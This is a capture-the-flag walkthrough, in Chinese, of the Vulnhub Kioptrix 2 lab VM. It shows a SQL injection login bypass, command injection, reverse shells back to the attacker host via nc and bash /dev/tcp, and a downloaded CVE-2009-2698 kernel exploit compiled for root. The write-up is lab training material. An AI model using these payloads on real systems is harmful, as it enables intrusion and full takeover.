Vulnhub_Kioptrix2-WalkThrough 's Range clearance record

admin 2022年10月6日12:08:46评论37 views字数 1556阅读5分11秒阅读模式

Kioptrix2-WalkThrough

Vulnhub_Kioptrix2-WalkThrough 's Range clearance record

免责声明

本靶机文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人及其公众号无关.


靶机地址

  • https://www.vulnhub.com/entry/kioptrix-level-11-2,23/

Description

This Kioptrix VM Image are easy challenges. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.

Source: http://www.kioptrix.com/blog/?page_id=135
Source: http://www.kioptrix.com/blog/?p=49

This is the second release of #2. First release had a bug in it with the web application
2012/Feb/09: Re-releases
2011/Feb/11: Original Release

知识点

  • SQL 注入
  • 命令执行
  • CVE-2009-2698

实验环境

环境仅供参考

  • VMware ® Workstation 16 Pro
  • WIN10 : NAT 模式 192.168.112.154
  • 靶机    : NAT 模式

前期-信息收集

开始进行 IP 探活

nmap -sP 192.168.112.0/24

Vulnhub_Kioptrix2-WalkThrough 's Range clearance record

排除法,去掉自己、宿主机、网关

192.168.112.154 就是目标了

扫描开放端口

nmap -T5 -A -v -p- 192.168.112.154
Vulnhub_Kioptrix2-WalkThrough 's Range clearance record

开放端口数蛮多的:

SSHhttphttpsMysql

还有一个较为少见的 631

运行的 CUPS 服务,CUPS 也有许多漏洞

这里 nmap 扫描 mysql 提示未授权

不过我测试并不能连接,从 web 先入手


中期-漏洞利用

Vulnhub_Kioptrix2-WalkThrough 's Range clearance record

看着就像有 SQL 注入的样子,随便试了下注入就进去了

账号 随便
密码 1' or '1'='1
Vulnhub_Kioptrix2-WalkThrough 's Range clearance record

看起来有个命令注入,简单尝试发现没有过滤

;ip a
Vulnhub_Kioptrix2-WalkThrough 's Range clearance record

下面直接回弹 shell,kali 监听

nc -lvp 4444

执行命令

;nc -nv 192.168.112.150 4444 -e /bin/bash

没成功,估计没有 nc,试试直接 bash 回弹

;bash -i >& /dev/tcp/192.168.112.150/4444 0>&1
Vulnhub_Kioptrix2-WalkThrough 's Range clearance record

回弹成功,果然没有 nc 程序,下面测试提权


后期-提权

简单收集下信息

cat /etc/*-release
uname -a
Vulnhub_Kioptrix2-WalkThrough 's Range clearance record

centos 4.5

可以试试 CVE-2009-2698

https://www.exploit-db.com/exploits/9542

这里直接靶机下载

或kali下载再传上去都行

kali下载完启 HTTP

wget https://www.exploit-db.com/download/9542
mv 9542 9542.c
python -m http.Server 8080

靶机下载 kali 上的 poc

cd /tmp
wget 192.168.141.134:8080/9542.c
gcc 9542.c
ls
./a.out
Vulnhub_Kioptrix2-WalkThrough 's Range clearance record

提权成功,感谢 Kioptrix Team 制作靶机

原文始发于微信公众号(猫因的安全):Vulnhub_Kioptrix2-WalkThrough 's Range clearance record

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月6日12:08:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Vulnhub_Kioptrix2-WalkThrough 's Range clearance recordhttp://cn-sec.com/archives/1334064.html

发表评论

匿名网友 填写信息